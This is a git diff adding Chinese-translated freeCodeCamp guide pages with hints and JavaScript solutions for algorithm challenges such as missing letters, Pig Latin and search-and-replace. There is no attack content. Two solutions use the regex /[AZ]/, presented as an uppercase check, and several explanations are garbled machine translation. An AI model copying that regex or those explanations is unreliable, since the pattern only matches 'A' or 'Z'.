+    //Add orbitalPeriod property 
+    item.orbitalPeriod = tmp; 
+  }); 
+  return arr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLoz/0)
+
+### 代码说明：
+
+*   **GM**和**earthRadius**都给了我们。
+*   `forEach()`方法用于在**arr中为**每个元素（ **item** ）执行一次函数。
+*   **tmp**保持使用公式计算的每个元素的轨道周期值。
+*   键**avgAlt**被删除，并发现轨道周期**（TMP）**被分配给键**orbitalPeriod。**
+
+#### 相关链接
+
+*   [JS Array Prototype ForEach](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md
new file mode 100644
index 0000000000..24ed80b401
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/missing-letters/index.md
@@ -0,0 +1,175 @@
+---
+title: Missing Letters
+localeTitle: 遗失的信件
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您将创建一个程序，它将从字符串中找到缺少的字母并将其返回。如果没有丢失的字母，程序应返回undefined。目前没有测试用例的字符串缺少多个字母，但如果有一个字母，则会使用递归。此外，字母始终按顺序提供，因此无需对它们进行排序。
+
+#### 相关链接
+
+*   [字符串全局对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [JS String Prototype CharCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   使用String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您需要使用说明中提供的两种方法将字符转换为ASCII代码。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您必须按顺序检查ASCII代码的差异。使用图表会非常有帮助。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+你需要弄清楚丢失的字母在哪里，以及处理没有丢失字母的情况，因为它需要一个特定的返回值。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function fearNotLetter(str) { 
+ 
+  for(var i = 0; i < str.length; i++) { 
+    /* code of current character */ 
+    var code = str.charCodeAt(i); 
+ 
+    /* if code of current character is not equal to first character + no of iteration 
+    hence character has been escaped */ 
+    if (code !== str.charCodeAt(0) + i) { 
+ 
+      /* if current character has escaped one character find previous char and return */ 
+      return String.fromCharCode(code - 1); 
+    } 
+  } 
+  return undefined; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnD/0)
+
+### 代码说明：
+
+*   该解决方案使用`for`循环。
+*   遇到的字符**代码**存储在**代码中** 。
+*   通过使用逻辑 - `code of current character = code of first character + number of iterations`来检查当前字符的代码是否是预期的代码（不跳过任何字符）。
+*   如果缺少某个字符，则会找到缺少的字符并返回最后一个字符串。
+*   如果字符串中没有丢失的字符，则返回`undefined` 。
+
+#### 相关链接
+
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   string.length减
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+// Adding this solution for the sake of avoiding using 'for' and 'while' loops. 
+ // See the explanation for reference as to why. It's worth the effort. 
+ 
+ function fearNotLetter(str) { 
+  var compare = str.charCodeAt(0), missing; 
+ 
+  str.split('').map(function(letter,index) { 
+    if (str.charCodeAt(index) == compare) { 
+      ++compare; 
+    } else { 
+      missing = String.fromCharCode(compare); 
+    } 
+  }); 
+ 
+  return missing; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnE/0)
+
+### 代码说明：
+
+*   首先，我们定义变量来存储字符串中第一个字母的字符代码，并存储我们可能找到的任何丢失的字母。
+*   我们将字符串转换为数组，以便通过它进行映射，而不是使用`for`和`while`循环。
+*   当我们通过字母的字符代码进行`map` ，我们将与应该在该位置的字符代码进行比较。
+*   如果当前字母匹配，我们将比较变量移动到下一个位置，以便我们可以在下一个周期进行比较。
+*   如果没有，丢失的字母将被分配给`missing`变量，该变量将在地图完成后返回。
+*   如果没有丢失的字符，则返回`undefined` 。
+
+#### 相关链接
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS阵列原型图](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")简化的高级代码解决方案：
+```
+function fearNotLetter(str) { 
+  for (let i = 1; i < str.length; ++i) { 
+    if (str.charCodeAt(i) - str.charCodeAt(i-1) > 1) { 
+      return String.fromCharCode(str.charCodeAt(i - 1) + 1); 
+    } 
+  } 
+ } 
+```
+
+### 代码说明：
+
+*   循环遍历字符串
+*   检查字符串中相邻字符之间字符代码的差异是否大于1（chack ASCII表）
+*   返回丢失的字符（从检测到间隙的位置+1）
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function fearNotLetter(str) { 
+  var allChars = ''; 
+  var notChars = new RegExp('[^'+str+']','g'); 
+ 
+  for (var i = 0; allChars[allChars.length-1] !== str[str.length-1] ; i++) 
+    allChars += String.fromCharCode(str[0].charCodeAt(0) + i); 
+ 
+  return allChars.match(notChars) ? allChars.match(notChars).join('') : undefined; 
+ } 
+ 
+ // test here 
+ fearNotLetter("abce"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnG/0)
+
+### 代码说明：
+
+*   创建一个新字符串**allChars** 。
+*   创建一个正则表达式**notChars** ，它选择除**str**之外的所有内容。
+*   `for`循环用于将范围中的所有字母添加到**allChars** 。
+*   `match()`用于从新创建的字符串中去除**str**字母并返回。
+*   如果没有丢失的字符，则返回`undefined` 。
+
+#### 相关链接
+
+*   JS Regex资源
+*   [JS三元](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+*   [JS String Prototype Match](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [JS Array Prototype Join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md
new file mode 100644
index 0000000000..14fb9bca38
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/pig-latin/index.md
@@ -0,0 +1,182 @@
+---
+title: Pig Latin
+localeTitle: 猪拉丁文
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您需要创建一个将从英语翻译为Pig Latin的程序。 Pig Latin使用英语单词的第一个辅音（或辅音簇），将其移到单词的末尾并加上“ay”后缀。如果一个单词以元音开头，你只需添加“way”到最后。它可能不是很明显但是你需要将所有辅音移除到第一个元音，以防这个单词不是以元音开头。
+
+#### 相关链接
+
+*   [猪拉丁文](http://en.wikipedia.org/wiki/Pig_Latin)
+*   [JS String Prototype Match](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您可能希望使用正则表达式。这将允许您轻松转换单词。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+如果第一个字符是元音，则取整个单词并在结尾添加“way”。否则是棘手的部分，在第一个元音之前取辅音并将其移到最后并添加'ay'。这可能令人困惑但是，它不仅仅是第一个辅音，而是在第一个元音之前的所有辅音。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+您需要使用有关字符串操作的所有知识来使最后一部分正确。但是，它可以单独使用`substr`来完成。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function translatePigLatin(str) { 
+  // Create variables to be used 
+  var pigLatin = ''; 
+  var regex = /[aeiou]/gi; 
+ 
+  // Check if the first character is a vowel 
+  if (str[0].match(regex)) { 
+    pigLatin = str + 'way'; 
+ 
+  } else if(str.match(regex) === null) { 
+    // Check if the string contains only consonants 
+    pigLatin = str + 'ay'; 
+  } else { 
+ 
+    // Find how many consonants before the first vowel. 
+    var vowelIndice = str.indexOf(str.match(regex)[0]); 
+ 
+    // Take the string from the first vowel to the last char 
+    // then add the consonants that were previously omitted and add the ending. 
+    pigLatin = str.substr(vowelIndice) + str.substr(0, vowelIndice) + 'ay'; 
+  } 
+ 
+  return pigLatin; 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmt/0)
+
+### 代码说明：
+
+*   创建一个空字符串来保存您的Pig Latin字。
+*   将适当的正则表达式分配给变量。
+*   如果第一个字符是元音，只需添加到字符串结尾的**方式**并返回它。
+*   如果第一个字符不是元音：
+    *   在`indexOf()` ， `match()`和regex的帮助下，在第一个元音之前找到辅音数量。
+    *   用第一个元音开始Pig Latin字符串直到结束。
+    *   在第一个元音之前添加字母到字符串结尾。
+    *   `substr()`用于此处的字符串操作。
+    *   将**ay**添加到字符串的末尾并返回它。
+
+#### 相关链接
+
+*   JS Regex资源
+*   [JS String Prototype IndexOf](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS String Prototype Substr](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function translatePigLatin(str) { 
+  function check(obj) { 
+      return ['a','i','u','e','o'].indexOf(str.charAt(obj)) == -1 ? check(obj + 1) : obj; 
+  } 
+ 
+  return str.substr(check(0)).concat((check(0) === 0 ? 'w' : str.substr(0, check(0))) + 'ay'); 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmw/0)
+
+### 代码说明：
+
+*   这是解决此问题的声明式和递归式方法。
+*   `check()`是一个函数，它检查字符串的第一个字母是否在元音数组中， `['a','i','u','e','o']` 。
+*   在辅音的情况下， `check()`调用自己的下一个字符，直到找到第一个元音。
+*   它将返回它发现的最后一个初始辅音的索引，即施密茨维尔将是3。
+*   然后，字母，直到该索引是从字符串除去，并相应地用除去字符串或**瓦特**的任一同样的块连接，并且然后**AY**不管。
+
+#### 相关链接
+
+*   [JS String Prototype CharAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [JS String Prototype Concat](http://forum.freecodecamp.com/t/javascript-string-prototype-concat/15935)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function translatePigLatin(str) { 
+    var strArr = []; 
+    var tmpChar; 
+ 
+    // check if the char is consonant using RegEx 
+    function isConsonant(char) { 
+        return !/[aeiou]/.test(char); 
+    } 
+ 
+    // return initial str + "way" if it starts with vowel 
+    // if not - convert str to array 
+    if (!isConsonant(str.charAt(0))) 
+        return str + "way"; 
+    else 
+        strArr = str.split(""); 
+ 
+    // push all consonats to the end of the array 
+    while (isConsonant(strArr[0])) { 
+        tmpChar = strArr.shift(); 
+        strArr.push(tmpChar); 
+    } 
+ // convert array to string and concatenate "ay" at the end 
+ return strArr.join("")+"ay"; 
+ } 
+ 
+ // test here 
+ translatePigLatin("consonant"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmv/0)
+
+### 代码说明：
+
+*   `isConsonant()`用于检查字符是否为辅音。
+*   如果第一个字符是元音，则添加到字符串结尾的**方式**并返回它。
+*   如果第一个字符不是元音：
+    *   使用`split()`字符串拆分为数组。
+    *   在`shift()`和`push()`帮助下`shift()`所有辅音推到数组的末尾。
+    *   使用`join()`将数组转换为字符串，并将**ay**添加到字符串的结尾。把它返还。
+
+#### 相关链接
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS数组原型转换](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [JS阵列原型推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Array Prototype Join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+### ![:trophy:](https://forum.freecodecamp.com/images/emoji/emoji_one/trophy.png?v=3 "：杯：")积分：
+
+如果您发现此页面有用，您可以通过在主聊天中复制并粘贴以下行来感谢贡献者：
+
+**`Thanks @Rafase282 @sabahang @aganita @Hallaathrad for your help with Algorithm: Pig Latin`**
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md
new file mode 100644
index 0000000000..2af4345ae7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/search-and-replace/index.md
@@ -0,0 +1,235 @@
+---
+title: Search and Replace
+localeTitle: 搜索和替换
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您将创建一个程序，它接受一个句子，然后在其中搜索一个单词并将其替换为新单词，同时保留大写（如果有的话）。
+
+#### 相关链接
+
+*   [字符串全局对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [JS字符串原型替换](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   找到字符串中`before`的索引。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   检查首字母案例。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   字符串是不可变的，您需要将编辑保存在另一个变量上，即使您必须重复使用相同的变量，只是为了使它看起来像只使用那个变量完成的更改。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function myReplace(str, before, after) { 
+  // Find index where before is on string 
+  var index = str.indexOf(before); 
+  // Check to see if the first letter is uppercase or not 
+  if (str[index] === str[index].toUpperCase()) { 
+    // Change the after word to be capitalized before we use it. 
+    after = after.charAt(0).toUpperCase() + after.slice(1); 
+  } 
+  // Now replace the original str with the edited one. 
+  str = str.replace(before, after); 
+ 
+  return str; 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmo/0)
+
+### 代码说明：
+
+*   使用`indexOf()`在字符串中查找**before的**位置。
+*   如果**之前的**第一个字母大写，则将**后面的**第一个字母更改为大写。
+*   **之前**在字符串中替换为**after** 。
+*   返回新字符串。
+
+#### 相关链接
+
+*   [JS String Prototype IndexOf](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS String Prototype ToUpperCase](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   [JS String Prototype CharAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [JS String Prototype Slice](http://forum.freecodecamp.com/t/javascript-string-prototype-slice/15943)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function myReplace(str, before, after) { 
+ //Create a regular expression object 
+  var re = new RegExp(before,"gi"); 
+ //Check whether the first letter is uppercase or not 
+  if(/[AZ]/.test(before[0])){ 
+  //Change the word to be capitalized 
+    after = after.charAt(0).toUpperCase()+after.slice(1); 
+     } 
+     //Replace the original word with new one 
+  var  newStr =  str.replace(re,after); 
+ 
+ return newStr; 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmp/0)
+
+### 代码说明：
+
+*   在此解决方案中，正则表达式`[AZ]`用于检查字符是否为大写。
+*   创建一个新的正则表达式对象， **re** 。
+*   如果**before**的首字母大写，则将**after**的第一个字母更改为大写。
+*   在字符串**之前**替换**之后** 。
+*   返回新字符串。
+
+#### 相关链接
+
+*   JS Regex资源
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function myReplace(str, before, after) { 
+ 
+    // create a function that will change the casing of any number of letter in parameter "target" 
+    // matching parameter "source" 
+    function applyCasing(source, target) { 
+        // split the source and target strings to array of letters 
+        var targetArr = target.split(""); 
+        var sourceArr = source.split(""); 
+        // iterate through all the items of sourceArr and targetArr arrays till loop hits the end of shortest array 
+        for (var i = 0; i < Math.min(targetArr.length, sourceArr.length); i++){ 
+            // find out the casing of every letter from sourceArr using regular expression 
+            // if sourceArr[i] is upper case then convert targetArr[i] to upper case 
+            if (/[AZ]/.test(sourceArr[i])) { 
+                targetArr[i] = targetArr[i].toUpperCase(); 
+            } 
+            // if sourceArr[i] is not upper case then convert targetArr[i] to lower case 
+            else targetArr[i] = targetArr[i].toLowerCase(); 
+        } 
+        // join modified targetArr to string and return 
+        return (targetArr.join("")); 
+    } 
+ 
+    // replace "before" with "after" with "before"-casing 
+    return str.replace(before, applyCasing(before, after)); 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmq/0)
+
+### 代码说明：
+
+*   **before**和**after**都作为`applyCasing()`参数传递。
+*   功能`applyCasing()`在使用**前**以改变各个字符的情况下，在**targetArr**即，按照在**sourceArr**即字符**之后** 。
+*   `replace()`用于替换**之前**和**之后** ，其外壳与**之前**相同。
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+// Add new method to the String object, not overriding it if one exists already 
+ String.prototype.capitalize =  String.prototype.capitalize || 
+    function() { 
+        return this[0].toUpperCase() + this.slice(1); 
+    }; 
+ 
+ const Util = (function () { 
+ // Create utility module to hold helper functions 
+    function textCase(str, tCase) { 
+        // Depending if the tCase argument is passed we either set the case of the 
+        // given string or we get it. 
+        // Those functions can be expanded for other text cases. 
+ 
+        if(tCase) { 
+            return setCase(str, tCase); 
+        } else { 
+            return getCase(str); 
+        } 
+ 
+        function setCase(str, tCase) { 
+            switch(tCase) { 
+                case "uppercase": return str.toUpperCase(); 
+                case "lowercase": return str.toLowerCase(); 
+                case "capitalized": return str.capitalize(); 
+                default: return str; 
+            } 
+        } 
+ 
+        function getCase(str) { 
+            if (str === str.toUpperCase()) { return "uppercase"; } 
+            if (str === str.toLowerCase()) { return "lowercase"; } 
+            if (str === str.capitalize()) { return "capitalized"; } 
+            return "normal"; 
+        } 
+    } 
+ 
+    return { 
+        textCase 
+    }; 
+ })(); 
+ 
+ function myReplace(str, before, after) { 
+    const { textCase } = Util; 
+    const regex = new RegExp(before, 'gi'); 
+    const replacingStr = textCase(after, textCase(before)); 
+ 
+    return str.replace(regex, replacingStr); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/@kr3at0/SearchAndReplace)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案备选2：
+
+```javascript
+function myReplace(str, before, after) { 
+  const myArr = str.split(' '); 
+  const [wordToReplace] = myArr.filter(item => item === before); 
+  return  wordToReplace[0].toUpperCase() !== wordToReplace[0] 
+  ? myArr.map(item => item === before ? after : item).join(' ') 
+  : myArr.map(item => item === before? after[0].toUpperCase() + after.slice(1) : item).join(' '); 
+ } 
+ 
+ // test: 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+#### 相关链接
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS Math Min](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+*   string.length减
+*   [JS String Prototype ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [JS Array Prototype Join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md
new file mode 100644
index 0000000000..3b1d4d6d5f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md
@@ -0,0 +1,126 @@
+---
+title: Seek and Destroy
+localeTitle: 寻找和摧毁
+---
